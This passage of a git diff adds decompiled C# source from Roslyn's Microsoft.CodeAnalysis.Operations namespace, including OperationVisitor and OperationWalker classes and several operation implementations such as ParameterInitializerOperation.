} + + public virtual void VisitArgument(IArgumentOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitCatchClause(ICatchClauseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSwitchCase(ISwitchCaseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDefaultCaseClause(IDefaultCaseClauseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitPatternCaseClause(IPatternCaseClauseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitRangeCaseClause(IRangeCaseClauseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitRelationalCaseClause(IRelationalCaseClauseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSingleValueCaseClause(ISingleValueCaseClauseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInterpolatedStringText(IInterpolatedStringTextOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInterpolation(IInterpolationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitConstantPattern(IConstantPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDeclarationPattern(IDeclarationPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitTupleBinaryOperator(ITupleBinaryOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitMethodBodyOperation(IMethodBodyOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitConstructorBodyOperation(IConstructorBodyOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDiscardOperation(IDiscardOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitFlowCapture(IFlowCaptureOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitFlowCaptureReference(IFlowCaptureReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitIsNull(IIsNullOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitCaughtException(ICaughtExceptionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitStaticLocalInitializationSemaphore(IStaticLocalInitializationSemaphoreOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitFlowAnonymousFunction(IFlowAnonymousFunctionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitCoalesceAssignment(ICoalesceAssignmentOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitRangeOperation(IRangeOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitReDim(IReDimOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitReDimClause(IReDimClauseOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitRecursivePattern(IRecursivePatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitDiscardPattern(IDiscardPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSwitchExpression(ISwitchExpressionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSwitchExpressionArm(ISwitchExpressionArmOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitPropertySubpattern(IPropertySubpatternOperation operation) + { + DefaultVisit(operation); + } + + internal virtual void VisitAggregateQuery(IAggregateQueryOperation operation) + { + DefaultVisit(operation); + } + + internal virtual void VisitNoPiaObjectCreation(INoPiaObjectCreationOperation operation) + { + DefaultVisit(operation); + } + + internal virtual void VisitPlaceholder(IPlaceholderOperation operation) + { + DefaultVisit(operation); + } + + internal virtual void VisitPointerIndirectionReference(IPointerIndirectionReferenceOperation operation) + { + DefaultVisit(operation); + } + + internal virtual void VisitWithStatement(IWithStatementOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitUsingDeclaration(IUsingDeclarationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitNegatedPattern(INegatedPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitBinaryPattern(IBinaryPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitTypePattern(ITypePatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitRelationalPattern(IRelationalPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitWith(IWithOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInterpolatedStringHandlerCreation(IInterpolatedStringHandlerCreationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInterpolatedStringAddition(IInterpolatedStringAdditionOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInterpolatedStringAppend(IInterpolatedStringAppendOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInterpolatedStringHandlerArgumentPlaceholder(IInterpolatedStringHandlerArgumentPlaceholderOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitFunctionPointerInvocation(IFunctionPointerInvocationOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitListPattern(IListPatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitSlicePattern(ISlicePatternOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitImplicitIndexerReference(IImplicitIndexerReferenceOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitUtf8String(IUtf8StringOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitAttribute(IAttributeOperation operation) + { + DefaultVisit(operation); + } + + public virtual void VisitInlineArrayAccess(IInlineArrayAccessOperation operation) + { + DefaultVisit(operation); + } + + internal virtual void VisitFixed(IFixedOperation operation) + { + VisitNoneOperation(operation); + } +} +public abstract class OperationVisitor +{ + public virtual TResult? Visit(IOperation? operation, TArgument argument) + { + if (operation != null) + { + return operation.Accept(this, argument); + } + return default(TResult); + } + + public virtual TResult? DefaultVisit(IOperation operation, TArgument argument) + { + return default(TResult); + } + + internal virtual TResult? VisitNoneOperation(IOperation operation, TArgument argument) + { + return default(TResult); + } + + public virtual TResult? VisitInvalid(IInvalidOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitBlock(IBlockOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitVariableDeclarationGroup(IVariableDeclarationGroupOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSwitch(ISwitchOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitForEachLoop(IForEachLoopOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitForLoop(IForLoopOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitForToLoop(IForToLoopOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitWhileLoop(IWhileLoopOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitLabeled(ILabeledOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitBranch(IBranchOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitEmpty(IEmptyOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitReturn(IReturnOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitLock(ILockOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitTry(ITryOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitUsing(IUsingOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitExpressionStatement(IExpressionStatementOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitLocalFunction(ILocalFunctionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitStop(IStopOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitEnd(IEndOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitRaiseEvent(IRaiseEventOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitLiteral(ILiteralOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitConversion(IConversionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInvocation(IInvocationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitArrayElementReference(IArrayElementReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitLocalReference(ILocalReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitParameterReference(IParameterReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitFieldReference(IFieldReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitMethodReference(IMethodReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitPropertyReference(IPropertyReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitEventReference(IEventReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitUnaryOperator(IUnaryOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitBinaryOperator(IBinaryOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitConditional(IConditionalOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitCoalesce(ICoalesceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitAnonymousFunction(IAnonymousFunctionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitObjectCreation(IObjectCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitTypeParameterObjectCreation(ITypeParameterObjectCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitArrayCreation(IArrayCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInstanceReference(IInstanceReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitIsType(IIsTypeOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitAwait(IAwaitOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSimpleAssignment(ISimpleAssignmentOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitCompoundAssignment(ICompoundAssignmentOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitParenthesized(IParenthesizedOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitEventAssignment(IEventAssignmentOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitConditionalAccess(IConditionalAccessOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitConditionalAccessInstance(IConditionalAccessInstanceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInterpolatedString(IInterpolatedStringOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitAnonymousObjectCreation(IAnonymousObjectCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitObjectOrCollectionInitializer(IObjectOrCollectionInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitMemberInitializer(IMemberInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + [Obsolete("ICollectionElementInitializerOperation has been replaced with IInvocationOperation and IDynamicInvocationOperation", true)] + public virtual TResult? VisitCollectionElementInitializer(ICollectionElementInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitNameOf(INameOfOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitTuple(ITupleOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDynamicObjectCreation(IDynamicObjectCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDynamicMemberReference(IDynamicMemberReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDynamicInvocation(IDynamicInvocationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDynamicIndexerAccess(IDynamicIndexerAccessOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitTranslatedQuery(ITranslatedQueryOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDelegateCreation(IDelegateCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDefaultValue(IDefaultValueOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitTypeOf(ITypeOfOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSizeOf(ISizeOfOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitAddressOf(IAddressOfOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitIsPattern(IIsPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitIncrementOrDecrement(IIncrementOrDecrementOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitThrow(IThrowOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDeconstructionAssignment(IDeconstructionAssignmentOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDeclarationExpression(IDeclarationExpressionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitOmittedArgument(IOmittedArgumentOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitFieldInitializer(IFieldInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitVariableInitializer(IVariableInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitPropertyInitializer(IPropertyInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitParameterInitializer(IParameterInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitArrayInitializer(IArrayInitializerOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitVariableDeclarator(IVariableDeclaratorOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitVariableDeclaration(IVariableDeclarationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitArgument(IArgumentOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitCatchClause(ICatchClauseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSwitchCase(ISwitchCaseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDefaultCaseClause(IDefaultCaseClauseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitPatternCaseClause(IPatternCaseClauseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitRangeCaseClause(IRangeCaseClauseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitRelationalCaseClause(IRelationalCaseClauseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSingleValueCaseClause(ISingleValueCaseClauseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInterpolatedStringText(IInterpolatedStringTextOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInterpolation(IInterpolationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitConstantPattern(IConstantPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDeclarationPattern(IDeclarationPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitTupleBinaryOperator(ITupleBinaryOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitMethodBodyOperation(IMethodBodyOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitConstructorBodyOperation(IConstructorBodyOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDiscardOperation(IDiscardOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitFlowCapture(IFlowCaptureOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitFlowCaptureReference(IFlowCaptureReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitIsNull(IIsNullOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitCaughtException(ICaughtExceptionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitStaticLocalInitializationSemaphore(IStaticLocalInitializationSemaphoreOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitFlowAnonymousFunction(IFlowAnonymousFunctionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitCoalesceAssignment(ICoalesceAssignmentOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitRangeOperation(IRangeOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitReDim(IReDimOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitReDimClause(IReDimClauseOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitRecursivePattern(IRecursivePatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitDiscardPattern(IDiscardPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSwitchExpression(ISwitchExpressionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSwitchExpressionArm(ISwitchExpressionArmOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitPropertySubpattern(IPropertySubpatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + internal virtual TResult? VisitAggregateQuery(IAggregateQueryOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + internal virtual TResult? VisitNoPiaObjectCreation(INoPiaObjectCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + internal virtual TResult? VisitPlaceholder(IPlaceholderOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + internal virtual TResult? VisitPointerIndirectionReference(IPointerIndirectionReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + internal virtual TResult? VisitWithStatement(IWithStatementOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitUsingDeclaration(IUsingDeclarationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitNegatedPattern(INegatedPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitBinaryPattern(IBinaryPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitTypePattern(ITypePatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitRelationalPattern(IRelationalPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitWith(IWithOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInterpolatedStringHandlerCreation(IInterpolatedStringHandlerCreationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInterpolatedStringAddition(IInterpolatedStringAdditionOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInterpolatedStringAppend(IInterpolatedStringAppendOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInterpolatedStringHandlerArgumentPlaceholder(IInterpolatedStringHandlerArgumentPlaceholderOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitFunctionPointerInvocation(IFunctionPointerInvocationOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitListPattern(IListPatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitSlicePattern(ISlicePatternOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitImplicitIndexerReference(IImplicitIndexerReferenceOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitUtf8String(IUtf8StringOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitAttribute(IAttributeOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + public virtual TResult? VisitInlineArrayAccess(IInlineArrayAccessOperation operation, TArgument argument) + { + return DefaultVisit(operation, argument); + } + + internal virtual TResult? VisitFixed(IFixedOperation operation, TArgument argument) + { + return VisitNoneOperation(operation, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationWalker.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationWalker.cs new file mode 100644 index 0000000..df97d33 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/OperationWalker.cs @@ -0,0 +1,87 @@ +namespace Microsoft.CodeAnalysis.Operations; + +public abstract class OperationWalker : OperationVisitor +{ + private int _recursionDepth; + + private void VisitChildOperations(IOperation operation) + { + IOperation.OperationList.Enumerator enumerator = ((Operation)operation).ChildOperations.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + Visit(current); + } + } + + public override void Visit(IOperation? operation) + { + if (operation != null) + { + _recursionDepth++; + try + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + operation.Accept(this); + } + finally + { + _recursionDepth--; + } + } + } + + public override void DefaultVisit(IOperation operation) + { + VisitChildOperations(operation); + } + + internal override void VisitNoneOperation(IOperation operation) + { + VisitChildOperations(operation); + } +} +public abstract class OperationWalker : OperationVisitor +{ + private int _recursionDepth; + + private void VisitChildrenOperations(IOperation operation, TArgument argument) + { + IOperation.OperationList.Enumerator enumerator = ((Operation)operation).ChildOperations.GetEnumerator(); + while (enumerator.MoveNext()) + { + IOperation current = enumerator.Current; + Visit(current, argument); + } + } + + public override object? Visit(IOperation? operation, TArgument argument) + { + if (operation != null) + { + _recursionDepth++; + try + { + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + operation.Accept(this, argument); + } + finally + { + _recursionDepth--; + } + } + return null; + } + + public override object? DefaultVisit(IOperation operation, TArgument argument) + { + VisitChildrenOperations(operation, argument); + return null; + } + + internal override object? VisitNoneOperation(IOperation operation, TArgument argument) + { + VisitChildrenOperations(operation, argument); + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParameterInitializerOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParameterInitializerOperation.cs new file mode 100644 index 0000000..30dca00 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParameterInitializerOperation.cs @@ -0,0 +1,74 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ParameterInitializerOperation : BaseSymbolInitializerOperation, IParameterInitializerOperation, ISymbolInitializerOperation, IOperation +{ + public IParameterSymbol Parameter { get; } + + internal override int ChildOperationsCount => (base.Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ParameterInitializer; + + internal ParameterInitializerOperation(IParameterSymbol parameter, ImmutableArray locals, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(locals, value, semanticModel, syntax, isImplicit) + { + Parameter = parameter; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && base.Value != null) + { + return base.Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitParameterInitializer(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitParameterInitializer(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParameterReferenceOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParameterReferenceOperation.cs new file mode 100644 index 0000000..5ef14f8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParameterReferenceOperation.cs @@ -0,0 +1,48 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ParameterReferenceOperation : Operation, IParameterReferenceOperation, IOperation +{ + public IParameterSymbol Parameter { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.ParameterReference; + + internal ParameterReferenceOperation(IParameterSymbol parameter, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Parameter = parameter; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitParameterReference(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitParameterReference(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParenthesizedOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParenthesizedOperation.cs new file mode 100644 index 0000000..704fa43 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ParenthesizedOperation.cs @@ -0,0 +1,75 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ParenthesizedOperation : Operation, IParenthesizedOperation, IOperation +{ + public IOperation Operand { get; } + + internal override int ChildOperationsCount => (Operand != null) ? 1 : 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.Parenthesized; + + internal ParenthesizedOperation(IOperation operand, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Operand = Operation.SetParentOperation(operand, this); + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Operand != null) + { + return Operand; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Operand != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, 